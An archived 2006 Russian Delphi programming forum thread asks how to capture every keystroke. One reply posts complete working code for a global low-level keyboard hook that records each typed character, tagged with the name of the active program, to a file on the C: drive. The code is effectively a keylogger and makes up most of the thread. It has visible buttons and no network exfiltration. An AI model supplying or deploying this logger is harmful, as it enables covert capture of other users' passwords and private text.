Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "WinAPI";
Текущий архив: 2006.03.26;
Скачать: [xml.tar.bz2];

Вниз

Hook клавиатуры   Найти похожие ветки 

 
Человек   (2006-01-02 17:13) [0]

С наступившим!
Возник вопрос, как сделать перехват всех нажатых клавиш, включая shift,alt,tab итд?
Заранее спасибо


 
kami ©   (2006-01-02 18:16) [1]

с помощью WH_KEYBOARD ?


 
kami ©   (2006-01-02 18:35) [2]

Рабочий пример, корректно определяющий нажатия клавиш в русской раскладке (как-то спрашивал про это на форуме, в итоге - сделал сам :-) )

type
  KBDLLHOOKSTRUCT=packed record
    vkCode:DWORD;
    scanCode:DWORD;
    flags:DWORD;
    time:DWORD;
    dwExtraInfo:pointer;
  end;

 TForm1 = class(TForm)
   Button1: TButton;
   Button2: TButton;
   Memo1: TMemo;
   procedure Button1Click(Sender: TObject);
   procedure Button2Click(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

function KeyboardProc(code:integer;W:WParam;L:LParam):LResult;stdcall;
function GetModuleBaseName(hProcess:THANDLE;hModule:HMODULE;lpBaseName:LPTSTR;nSize:DWORD):DWORD; stdcall;external "Psapi.dll" name "GetModuleBaseNameA" ;

var
 Form1: TForm1;
 MyHook:HHook;
 KeyFile:TFileStream;
 CurrentFileName:string="";
 LeftCorner:Char="[";
 RightCorner:Char="]";
 Ret:array [0..1] of char=(#13,#10);
const
 WH_KEYBOARD_LL=13;
implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject); // установка хука
begin
 KeyFile:=TFileStream.Create("c:\KeyLog.txt",fmCreate);
 MyHook:=SetWindowsHookEx(WH_KEYBOARD_LL,@KeyboardProc,hInstance,0);
 if MyHook=0 then
   ShowMessage("Error : "+IntToStr(GetLastError));
end;

procedure TForm1.Button2Click(Sender: TObject);// удаление хука
begin
 UnhookWindowsHookEx(MyHook);
 KeyFile.Free;
end;

function KeyboardProc(code: integer; W: WParam; L: LParam): LResult;
var
 kbd:KBDLLHOOKSTRUCT;
 keyState:TKeyboardState;
 Ch: packed array[0..1] of char;
 RetChars:integer;
 ProcessID:DWORD;
 ProcessHandle:THandle;
 pFileName:PChar;
 FileNameSize:uInt;
 WindowHWND:HWND;
begin
 if code<0 then
   begin  //if code is <0 your keyboard hook should always run CallNextHookEx instantly and
     Result:=CallNextHookEx(MyHook,code,W,L); //then return the value from it.
     Exit;
   end;
 if (W=WM_KEYUP) then // анализируем по отпусканию клавиши
   begin
     kbd:=KBDLLHOOKSTRUCT(Pointer(L)^);
     GetKeyboardState(KeyState);
     KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);  // НЕ УДАЛЯТЬ!!!
       // GetKeyboardState почему-то не определяет нажатия шифтов, посему
       // для качественного распознавания определим их нажатие сами.

     // начинаем определение программы, в которой была нажата клавиша
     WindowHWND:=GetForegroundWindow;
     ProcessID:=1;// без узнавания активного потока почему-то не работает
     RetChars:=ToASCIIEx(
       kbd.vkCode,
       kbd.scanCode,
       keyState,
       Ch,
       0,
       GetKeyboardLayout(GetWindowThreadProcessId(WindowHWND,@ProcessID)));
     // в Ch - нажатые символы
     // kbd - не изменялся
     // если нужны "непечатаемые" символы, то анализировать vkCode (см Virtual Key Code)

     // определяем имя файла, с которым работает пользователь.
     ProcessHandle:=OpenProcess(
       PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,
       false,
       ProcessID);
     GetMem(pFileName,MAX_PATH+1);
     FileNameSize:=GetModuleBaseName(ProcessHandle,0,pFileName,MAX_PATH);
     CloseHandle(ProcessHandle);

     // записываем в лог нажатую клавишу
     if FileNameSize<>0 then
       begin
         if CurrentFileName<>pFileName then
           begin
             CurrentFileName:=pFileName;
             KeyFile.Write(ret[0],2);
             KeyFile.Write(LeftCorner,1);
             if CurrentFileName<>"" then
               KeyFile.Write(CurrentFileName[1],FileNameSize);
             KeyFile.Write(RightCorner,1);
             KeyFile.Write(ret[0],2);
           end;
         if RetChars>0 then
           case kbd.vkCode of
             VK_RETURN:
               KeyFile.Write(ret[0],2);
           else
             KeyFile.WriteBuffer(Ch[0],RetChars);
           end;
       end;
     FreeMem(pFileName);
   end;
 Result:=CallNextHookEx(MyHook,code,W,L);  //call the next hook proc if there is one
end;


 
Leonid Troyanovsky ©   (2006-01-03 16:15) [3]


> Человек   (02.01.06 17:13)  

> Возник вопрос, как сделать перехват всех нажатых клавиш,
>  включая shift,alt,tab итд?


WH_KEYBOARD_LL

--
Regards, LVT.



Страницы: 1 вся ветка

Форум: "WinAPI";
Текущий архив: 2006.03.26;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.46 MB
Время: 0.046 c
2-1142318231
dabreezy
2006-03-14 09:37
2006.03.26
Маленький вопросик по потокам.


4-1136329563
SpyBoy
2006-01-04 02:06
2006.03.26
TSearchTypes


15-1141221118
Сатир
2006-03-01 16:51
2006.03.26
Как получить IP-address машины в сети с помошью Delphi?


10-1115368225
Владислав
2005-05-06 12:30
2006.03.26
Маршаллинг интерфейса.


11-1123192059
Thaddy
2005-08-05 01:47
2006.03.26
Propose small change to _Tobj to the Dacha man ;)





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский